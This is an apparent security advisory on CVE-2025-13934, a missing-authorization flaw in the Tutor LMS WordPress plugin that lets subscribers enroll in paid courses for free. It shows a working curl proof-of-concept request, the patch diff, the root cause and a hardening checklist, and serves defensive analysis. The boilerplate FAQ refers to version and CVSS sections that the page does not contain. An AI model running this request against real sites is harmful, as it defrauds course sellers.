SECURITY ADVISORY / 01

CVE-2025-13934 Exploit & Vulnerability Analysis

Complete CVE-2025-13934 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:tutor NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

A subscriber-level authenticated user can enroll themselves in any paid course by invoking the Tutor LMS AJAX handler directly.

curl 'https://TARGET/wp-admin/admin-ajax.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: wordpress_logged_in=YOUR_SESSION_COOKIE' \
  --data 'action=course_enrollment&course_id=123'

The attacker sees a successful JSON response from the endpoint and the targeted course appears in their dashboard without any purchase. A patched site instead returns an error like "Please purchase the course before enrolling" for paid courses.

What the Patch Did

Before:

if ( $password_protected ) {
    wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
}
// Directly enrolls user without checking if course is paid or user purchased it
$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );

After:

if ( $password_protected ) {
    wp_send_json_error( __( 'This course is password protected', 'tutor' ) );
}

if ( tutor_utils()->is_course_purchasable( $course_id ) ) {
    $is_enrolled = (bool) tutor_utils()->is_enrolled( $course_id, $user_id );
    
    if ( ! $is_enrolled ) {
        wp_send_json_error( __( 'Please purchase the course before enrolling', 'tutor' ) );
    }
}

$enroll = tutor_utils()->do_enroll( $course_id, 0, $user_id );

The patch added an authorization gate using tutor_utils()->is_course_purchasable() and tutor_utils()->is_enrolled() before do_enroll() is called. It converts an unconditional enrollment call into a conditional one, and rejects requests for purchasable courses when the user is not already enrolled.

Root Cause

This is a broken authorization issue, CWE-862: Missing Authorization. The attacker's input enters as the course_id POST parameter on admin-ajax.php?action=course_enrollment. The AJAX handler calls tutor_utils()->do_enroll( $course_id, 0, $user_id ) without validating whether the course is paid/purchasable or whether the user has purchased it. The trust boundary crossed unchecked is the business-logic check that should separate free-course enrollment from paid-course purchase state.

Why It Works

The load-bearing fix is the branch that checks tutor_utils()->is_course_purchasable( $course_id ) and rejects non-enrolled users with wp_send_json_error(). If that block is removed, the handler falls back to do_enroll() for every course, including paid ones, and the vulnerability returns. The is_enrolled call inside the branch is essential because it tells the code whether the user already has a valid purchase-enrolled state. The password protection check is a separate control for locked courses; it does not prevent the paid-course bypass.

Hardening Checklist

  • Enforce server-side business rules in AJAX handlers: validate tutor_utils()->is_course_purchasable() and tutor_utils()->is_enrolled() before calling state-changing functions.
  • Require proper capabilities for enrollment-related actions, e.g. current_user_can('read') or a plugin-specific capability, instead of assuming any authenticated user is allowed.
  • Protect AJAX endpoints with nonce verification such as check_ajax_referer( 'tutor-course-enrollment', 'nonce' ) or wp_verify_nonce().
  • Cast and sanitize request parameters explicitly: absint( $_POST['course_id'] ), never trust raw POST values.
  • Fail fast with wp_send_json_error() on unauthorized or invalid requests before performing side effects.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13934

Frequently asked questions about CVE-2025-13934

What is CVE-2025-13934?

CVE-2025-13934 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13934?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13934. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13934 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13934?

CVE-2025-13934 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13934?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-13934?

The severity rating and CVSS scoring for CVE-2025-13934 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.